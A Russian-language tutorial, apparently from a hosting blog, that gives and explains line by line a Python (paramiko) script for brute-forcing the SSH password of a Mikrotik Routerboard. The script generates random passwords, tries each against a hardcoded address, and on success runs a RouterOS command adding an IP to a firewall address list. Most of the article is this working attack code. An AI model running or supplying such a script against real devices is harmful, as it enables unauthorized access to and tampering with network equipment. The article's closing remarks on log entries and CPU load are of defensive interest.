В этой статье мы рассмотрим написание скрипта для перебора паролей SSH-сервера в Mikrotik Routerboard.
Скрипт:
#!/usr/bin/env python
# -*- coding: utf_8 -*-
import time
import random
from paramiko import SSHClient
from paramiko import AutoAddPolicy
ip_device = '192.168.4.236'
login_device = 'ubnt'
def f_gen_passwd(count_char):
arr = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
passw = []
for i in xrange(count_char):
passw.append(random.choice(arr))
return "".join(passw)
plist = []
def f_perebor_ssh(ip_device, login_device, password_device):
ip = "10.12.12.12"
ssh = SSHClient()
ssh.set_missing_host_key_policy(AutoAddPolicy())
ssh.connect(ip_device, port=22, username=login_device, password=password_device)
cmd = "/ip fi address-list add address=%s list=working" % (ip)
ssh.exec_command(cmd)
ssh.close()
i = 0
while True:
i += 1
print i
password_device = f_gen_passwd(2)
if (password_device in plist):
print "Произошло дублирование пароля"
else:
print "Добавляем новый пароль в список"
plist.append(password_device)
try:
f_perebor_ssh(ip_device, login_device, password_device)
except:
print "Пароль не подходит"
print password_device
else:
print "Пароль для доступа %s" % (password_device)
time.sleep(2)
break
Рассмотрим скрипт:
Подключаем модули:
#!/usr/bin/env python
# -*- coding: utf_8 -*-
import time
import random
from paramiko import SSHClient
from paramiko import AutoAddPolicy
ip_device = '192.168.4.236' – IP-адрес Mikrotik Routerboard, для которого выполняется перебор паролей.
login_device = 'ubnt' – логин администратора Mikrotik Routerboard
Функция, генерирующая пароли:
def f_gen_passwd(count_char):
arr = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
passw = []
for i in xrange(count_char):
passw.append(random.choice(arr))
return "".join(passw)
plist = [] – создаём пустой список, в который будем помещать сгенерированные пароли.
Функция подключения к Mikrotik Routerboard:
def f_perebor_ssh(ip_device, login_device, password_device):
ip = "10.12.12.12"
ssh = SSHClient()
ssh.set_missing_host_key_policy(AutoAddPolicy())
ssh.connect(ip_device, port=22, username=login_device, password=password_device)
cmd = "/ip fi address-list add address=%s list=working" % (ip)
ssh.exec_command(cmd)
ssh.close()
i = 0 Создаём переменную i, которая равна нулю
while True: - запускаем бесконечный цикл.
i += 1 - в каждом цикле увеличиваем значение i на единицу
print i – выводим значение переменной i на экран
password_device = f_gen_passwd(2) – генерируем пароль из двух цифр и заносим его в переменную.
Выполняем проверку, существует ли сгенерированный пароль в списке plist. Если существует, то выводим сообщение "Произошло дублирование пароля":
if (password_device in plist):
print "Произошло дублирование пароля"
Если такого пароля нет в списке plist, то добавим его туда:
else:
print "Добавляем новый пароль в список"
plist.append(password_device)
Вызываем функцию соединения с SSH-сервером Mikrotik Routerboard:
try:
f_perebor_ssh(ip_device, login_device, password_device)
Если не удалось подключится, выводим сообщение "Пароль не подходит":
except:
print "Пароль не подходит"
print password_device
Если же подключится удалось, выводим пароль, с помощью которого было выполнено подключение, и прерываем цикл.
else:
print "Пароль для доступа %s" % (password_device)
time.sleep(2)
break
Рис.1. Mikrotik Routerboard, логи.
Во время перебора паролей Mikrotik Routerboard будет сигнализировать о том, что происходят попытки подключения к SSH-серверу.
Рис.2. Mikrotik Routerboard - загрузка процессора.
Во время перебора паролей может возрасти нагрузка на процессор Mikrotik Routerboard.
Евгений Рудченко специально для ASP24.